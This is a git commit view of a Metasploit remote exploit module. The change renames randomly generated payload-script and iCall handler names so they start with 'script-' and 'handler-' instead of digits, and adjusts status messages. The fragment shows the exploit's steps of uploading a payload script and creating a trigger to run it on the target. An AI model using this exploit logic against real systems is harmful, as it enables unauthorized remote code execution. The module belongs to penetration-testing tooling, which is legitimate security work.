scripts/handlers cannot start with numbers

bug/bundler_fix
Jon Hart 2015-11-18 12:31:46 -08:00
parent 7399b57e66
commit deec836828
No known key found for this signature in database
GPG Key ID: 2FA9F0A3AFA8E9D3
1 changed files with 4 additions and 5 deletions

View File

@ -227,9 +227,8 @@ class Metasploit3 < Msf::Exploit::Remote
return false return false
end end
print_status('Uploading payload script...') script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}"
print_status("Uploading payload script #{script_name}")
script_name = Rex::Text.rand_text_alphanumeric(16)
create_script_res = create_script(script_name, cmd) create_script_res = create_script(script_name, cmd)
unless create_script_res && create_script_res.code == 200 unless create_script_res && create_script_res.code == 200
print_error("Upload payload script failed") print_error("Upload payload script failed")
@ -242,8 +241,8 @@ class Metasploit3 < Msf::Exploit::Remote
register_file_for_cleanup @payload_path register_file_for_cleanup @payload_path
# phase 2: create iCall Handler, that will actually run the previously created script # phase 2: create iCall Handler, that will actually run the previously created script
print_status('Creating trigger...') handler_name = "handler-#{Rex::Text.rand_text_alphanumeric(16)}"
handler_name = Rex::Text.rand_text_alphanumeric(16) print_status("Creating trigger #{handler_name}")
unless create_handler(handler_name, script_name) unless create_handler(handler_name, script_name)
print_error('Payload script uploaded but trigger creation failed') print_error('Payload script uploaded but trigger creation failed')
delete_script(script_name) delete_script(script_name)